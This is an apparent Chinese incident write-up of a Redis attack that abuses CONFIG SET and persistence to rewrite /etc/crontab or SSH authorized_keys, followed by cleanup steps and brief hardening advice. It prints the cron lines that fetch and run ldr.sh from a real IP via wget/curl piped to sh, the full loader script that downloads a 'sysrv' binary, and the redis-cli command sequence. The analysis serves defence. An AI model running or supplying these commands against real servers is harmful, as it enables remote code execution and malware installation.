Redis
漏洞攻击
记录一次Redis漏洞攻击,该攻击通过扫描Redis端口,利用Redis的CONFIG命令和持久化漏洞篡改系统任务计划或公钥文件等方式进行攻击
攻击步骤
-
扫描服务器端口
-
尝试
Redis
连接,弱口令撞库 -
连接
Redis
利用CONFIG
漏洞篡改系统文件- 方式一:攻击程序将
任务计划
写入Redis
数据库的key
中,篡改/etc/crontab
文件
# 每分钟检测木马进程,远程执行木马程序,多种方式确保下载成功 # key1.txt */1 * * * * root wget -q -O - http://45.145.185.85/ldr.sh | sh # key2.txt */1 * * * * root curl -fsSL http://45.145.185.85/ldr.sh | sh # key3.txt */1 * * * * root cd1 -fsSL http://45.145.185.85/ldr.sh | sh # key4.txt */1 * * * * root wd1 -fsSL http://45.145.185.85/ldr.sh | sh
# ldr.sh # 计划任务下载的攻击脚本 cc=http://45.145.185.85 sys=sysrv002 # kill old files pkill -9 "^network01$"; pkill -9 sysrv001; pkill -9 "^sysrv$" get() { chattr -i $2; rm -rf $2 # 下载木马程序 curl -fsSL $1 > $2 || wget -q -O - $1 > $2 || php -r "file_put_contents('$2', file_get_contents('$1'));" || cd1 -fsSL $1 > $2 || wd1 -q -O - $1 > $2 chmod +x $2 } cd /tmp || cd /var/run || cd /mnt || cd /root || cd / ps -fe | grep $sys | grep -v grep; if [ $? -ne 0 ]; then get $cc/sysrv $sys; nohup ./$sys 1>/dev/null 2>&1 & fi
# 修改dir配置参数 redis-cli -p redis端口 -a redis密码 CONFIG SET dir /etc/ # 修改rdb文件名称为系统计划任务文件, /etc/crontab redis-cli -p redis端口 -a redis密码 CONFIG SET dbfilename crontab # 写入带有计划任务的key cat key1.txt | redis-cli -p redis端口 -a redis密码 -x set key1 # 执行数据持久化命令,将key中内容写入计划任务 redis-cli -p redis端口 -a redis密码 save|bgsave
- 方式二:攻击程序将
任务计划
写入Redis
数据库的key
中,在/etc/cron.*
目录中添加任务计划文件 - 方式三:篡改
~/.ssh/authorized_keys
伪造公钥进行免密登录,ssh -i pub.pem root@ipaddr -p 22
- 方式一:攻击程序将
病毒查杀
top
查看高性能占用进程lsof
查看进程关联文件ll /proc/pid/exe
定位进程文件crontab -l
查看计划任务tail /var/log/cron/
分析计划任务日志pstree -a
查看异常进程/etc/init.d
、/etc/rc.d
、/etc/rc.local
、/etc/profile
、/etc/inittab
、/etc/local
、rc.sysinit
等查看是否有可疑开机启动项kill -9 pid
杀死可疑进程- 清除任务计划
crontab -r
- 清除
/etc/cron.*/
目录下可疑文件 - 清除
/var/spool/cron/
目录下可疑文件
$(ps aux | egrep -e "curl|wget" | awk '{print $2}') | kill -9
查杀下载程序- 删除本地下载的可疑文件
- 删除可疑开机启动项
- 再次通过命令查看有无可疑进程产生,并观察一定时间
安全建议
- 设置较复杂的密码策略
- 最小限度的开放对外端口